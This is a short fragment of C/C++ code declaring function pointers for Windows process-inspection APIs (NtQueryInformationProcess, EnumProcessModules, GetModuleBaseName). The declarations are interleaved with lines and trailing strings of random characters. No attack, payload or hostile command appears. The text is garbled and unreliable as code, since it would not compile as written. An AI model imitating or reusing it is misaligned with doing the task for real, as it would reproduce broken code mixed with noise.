PROCNTQSIP NtQueryInformationProcess; QI^8b\36
<]SSgQ9/"
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `qy6qKl
N
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y*TNJJ|
L
M<